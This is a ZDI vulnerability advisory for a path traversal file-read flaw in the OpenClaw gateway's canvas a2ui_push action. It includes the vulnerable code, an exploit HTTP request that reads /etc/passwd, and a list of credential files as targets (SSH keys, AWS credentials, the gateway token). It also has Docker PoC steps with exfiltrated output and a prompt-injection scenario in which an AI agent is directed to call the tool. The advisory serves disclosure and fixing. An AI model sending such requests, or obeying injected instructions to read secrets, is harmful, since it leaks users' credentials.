ZDI-CAN-29312: OpenClaw Canvas Path Traversal Information Disclosure Vulnerability

-- ABSTRACT -------------------------------------

Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products:
OpenClaw - OpenClaw

-- VULNERABILITY DETAILS ------------------------
* Version tested: openclaw 2026.2.17
* Platform tested: macOS 26.3

---

# Analysis

## Description

The OpenClaw gateway's `canvas` tool accepts an `a2ui_push` action with a `jsonlPath` parameter that specifies a filesystem path to read. The gateway reads this file using `fs.readFile()` with no path validation, canonicalization, or directory restriction. An authenticated attacker can supply an arbitrary absolute or relative path to read any file accessible to the gateway process.

The file contents are forwarded to the connected node client via the `canvas.a2ui.pushJSONL` WebSocket command. The gateway itself returns `{ ok: true }` to the HTTP caller, confirming the file was read and transmitted.

## Root Cause

In `src/agents/tools/canvas-tool.ts`, the `a2ui_push` action handler reads a file from disk without any path restrictions:

```typescript
case "a2ui_push": {
const jsonl =
typeof params.jsonl === "string" && params.jsonl.trim()
? params.jsonl
: typeof params.jsonlPath === "string" && params.jsonlPath.trim()
? await fs.readFile(params.jsonlPath.trim(), "utf8") // <-- NO PATH VALIDATION
: "";
if (!jsonl.trim()) {
throw new Error("jsonl or jsonlPath required");
}
await invoke("canvas.a2ui.pushJSONL", { jsonl });
return jsonResult({ ok: true });
}
```

The `jsonlPath` parameter is passed directly to `fs.readFile()` after only a `.trim()` call. There is:
- No allowlist of permitted directories
- No canonicalization (`path.resolve` / `realpath`)
- No check against directory traversal sequences (`..`)
- No restriction to `.jsonl` file extensions

## Attack Scenario

### Prompt Injection (Primary)

OpenClaw is an AI agent orchestration tool. AI agents hold the gateway token to invoke tools. A prompt injection attack ��� where malicious instructions are embedded in content the AI processes ��� can direct the agent to call:

```
POST /tools/invoke
Authorization: Bearer <agent's token>
Content-Type: application/json

{
"tool": "canvas",
"args": {
"action": "a2ui_push",
"jsonlPath": "/etc/passwd",
"node": "node-host"
}
}
```

The gateway reads `/etc/passwd` (or any file: `~/.ssh/id_rsa`, `~/.aws/credentials`, `openclaw.json` containing the gateway token itself) and can forward the contents to an attacker connected node.

## Reproduction Steps

### Prerequisites
- Docker installed
- Python 3
- OpenClaw Docker image built as `openclaw:local`

### Steps

1. Navigate to the PoC directory and start the environment:
```bash
cd vulnerabilities/01-canvas-a2ui-push-lfi
docker compose up -d --wait
```

2. This starts two containers:
- **Gateway** (`openclaw-vuln-01-gateway`): Token-protected OpenClaw gateway on port 18701
- **Node** (`openclaw-vuln-01-node`): WebSocket node client that logs received data (simulates exfiltration)

3. Wait a few seconds for the node to authenticate, then run the PoC:
```bash
python3 poc.py
```

4. The PoC runs three tests:

| Test | Description | Result |
|------|-------------|--------|
| 1 ��� No auth | POST /tools/invoke without token | **401 Unauthorized** |
| 2 ��� Exploit | POST /tools/invoke with token, `jsonlPath=/etc/passwd` | **200 OK** (file read) |
| 3 ��� Exfiltration | Check node container logs for received file contents | **/etc/passwd contents visible** |

5. Test 2 sends: `{"tool":"canvas","args":{"action":"a2ui_push","jsonlPath":"/etc/passwd","node":"node-host"}}`. The gateway reads `/etc/passwd` via `fs.readFile()` and forwards the contents to the node via `canvas.a2ui.pushJSONL`. The node logs show the full exfiltrated file:
```
[node] ====== EXFILTRATED FILE CONTENTS via a2ui.pushJSONL ======
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
node:x:1000:1000::/home/node:/bin/bash
```

6. Cleanup:
```bash
docker compose down -v
```




-- CREDIT ---------------------------------------
This vulnerability was discovered by:
Peter Girnus (@gothburz) and Project AESIR of TrendAI Zero Day Initiative

-- FURTHER DETAILS ------------------------------

Supporting files:
[ZDI-CAN-29312.zip](https://github.com/user-attachments/files/25445277/ZDI-CAN-29312.zip)



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-- INFORMATION ABOUT THE ZDI --------------------
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-- DISCLOSURE POLICY ----------------------------

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## Fix Commit(s)
- `39816e61b0c4347a83c9b76bc8883190cfe5a3c9`

CWE-22 Path Traversal